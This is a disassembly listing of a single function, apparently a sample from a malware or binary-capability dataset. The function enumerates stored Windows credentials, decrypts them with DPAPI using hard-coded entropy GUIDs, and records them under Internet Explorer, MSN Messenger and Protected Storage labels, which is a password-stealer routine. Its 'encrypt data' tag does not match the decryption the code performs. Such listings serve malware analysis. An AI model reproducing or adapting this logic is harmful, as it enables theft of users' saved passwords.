Function at 0x4199e9
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf8
mov dword [ebp - 0x80], str.abe2869f_9b47_4cd9_a358_c22904dba7f7
mov dword [ebp - 0x14], str.82BD0E67_9FEA_4748_8672_D5EFE5B779B0
mov ecx, dword [ebp + 8]
call fcn.0041a144
cmp eax, 2
jle 0x419e3c
push str.CredEnumerateW
mov edx, str.advapi32.dll
mov ecx, dword [ebp + 8]
call fcn.00413f1a
mov dword [0x433370], eax
push str.CredFree
mov edx, str.advapi32.dll
mov ecx, dword [ebp + 8]
call fcn.00413f1a
mov dword [0x433374], eax
mov eax, 0x433370
test eax, eax
je 0x419a51
mov eax, 0x433374
test eax, eax
jne 0x419a56
jmp 0x419e3c
and dword [ebp - 0x10], 0
and dword [ebp - 0x7c], 0
and dword [ebp - 0x74], 0
mov ecx, dword [ebp + 8]
call fcn.0041a144
cmp eax, 2
jle 0x419a78
mov eax, dword [ebp - 0x10]
or eax, 1
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x10]
push 0
call dword [0x433370]
test eax, eax
jne 0x419a94
jmp 0x419e3c
cmp dword [ebp - 0x74], 0
je 0x419e3c
and dword [ebp - 0xf0], 0
jmp 0x419ab4
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0x25
jge 0x419ad9
mov eax, dword [ebp - 0x80]
add eax, dword [ebp - 0xf0]
movsx eax, byte [eax]
shl eax, 2
mov ecx, dword [ebp - 0xf0]
mov word [ebp + ecx*2 - 0x68], ax
jmp 0x419aa7
lea eax, [ebp - 0x68]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0x4a
and dword [ebp - 0xf4], 0
jmp 0x419afc
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0x25
jge 0x419b24
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0xf4]
movsx eax, byte [eax]
shl eax, 2
mov ecx, dword [ebp - 0xf4]
mov word [ebp + ecx*2 - 0xe8], ax
jmp 0x419aef
lea eax, [ebp - 0xe8]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x88], 0x4a
and dword [ebp - 0xf8], 0
jmp 0x419b50
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0xf8]
cmp eax, dword [ebp - 0x7c]
jae 0x419e33
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x94], eax
and dword [ebp - 0x6c], 0
and dword [ebp - 0x70], 0
lea eax, [ebp - 0x70]
push eax
push 1
push 0
push 0
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x419cf7
push 1
push dword [ebp - 0x70]
mov edx, dword [ebp - 0x6c]
mov ecx, dword [ebp + 8]
call fcn.00414855
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
je 0x419cf2
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
cmp dword [eax + 0x30], 0
jne 0x419c83
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x8c], eax
mov eax, dword [0x42dd14]
mov dword [ebp - 0xec], eax
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x8c]
movzx eax, word [eax]
test eax, eax
je 0x419c62
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x104
jge 0x419c62
mov eax, dword [ebp - 0x8c]
movzx eax, word [eax]
cmp eax, 0x3a
jne 0x419c52
mov eax, dword [ebp - 0x8c]
and word [eax], 0
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0xec]
inc eax
inc eax
mov dword [ebp - 0xec], eax
jmp 0x419c62
mov eax, dword [ebp - 0x8c]
inc eax
inc eax
mov dword [ebp - 0x8c], eax
jmp 0x419c01
cmp dword [ebp - 4], 0x104
jl 0x419c78
mov eax, dword [0x42dd14]
mov dword [ebp - 0x8c], eax
jmp 0x419c81
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x8c], eax
jmp 0x419ca1
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
mov eax, dword [eax + 0x30]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
push dword [eax + 0xc]
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
push dword [eax + 0x2c]
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
push dword [eax + 8]
push dword [ebp - 0xec]
push dword [ebp - 0x8c]
mov edx, str.INTERNET_EXPLORER_7.x_8.x_HTTPPASS
mov ecx, dword [ebp + 8]
call fcn.00414e54
mov edx, dword [ebp - 0x78]
mov ecx, dword [ebp + 8]
call fcn.00417232
jmp 0x419e1f
lea eax, [ebp - 0x70]
push eax
push 1
push 0
push 0
lea eax, [ebp - 0x88]
push eax
push 0
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x419d90
push 1
push dword [ebp - 0x70]
mov edx, dword [ebp - 0x6c]
mov ecx, dword [ebp + 8]
call fcn.00414855
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
je 0x419d8b
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
push dword [eax + 0xc]
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
push dword [eax + 0x2c]
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
push dword [eax + 8]
push dword [ebp - 0x78]
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
push dword [eax + 0x30]
mov edx, str.MSN_MESSENGER_6.x
mov ecx, dword [ebp + 8]
call fcn.00414e54
mov edx, dword [ebp - 0x78]
mov ecx, dword [ebp + 8]
call fcn.00417232
jmp 0x419e1f
lea eax, [ebp - 0x70]
push eax
push 1
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x419e1f
push 1
push dword [ebp - 0x70]
mov edx, dword [ebp - 0x6c]
mov ecx, dword [ebp + 8]
call fcn.00414855
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
je 0x419e1f
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
push dword [eax + 0xc]
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
push dword [eax + 0x2c]
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
push dword [eax + 8]
push dword [ebp - 0x78]
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x74]
mov eax, dword [ecx + eax*4]
push dword [eax + 0x30]
mov edx, str.PROTECTED_STORAGE
mov ecx, dword [ebp + 8]
call fcn.00414e54
mov edx, dword [ebp - 0x78]
mov ecx, dword [ebp + 8]
call fcn.00417232
cmp dword [ebp - 0x6c], 0
je 0x419e2e
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x419b43
push dword [ebp - 0x74]
call dword [0x433374]
leave
ret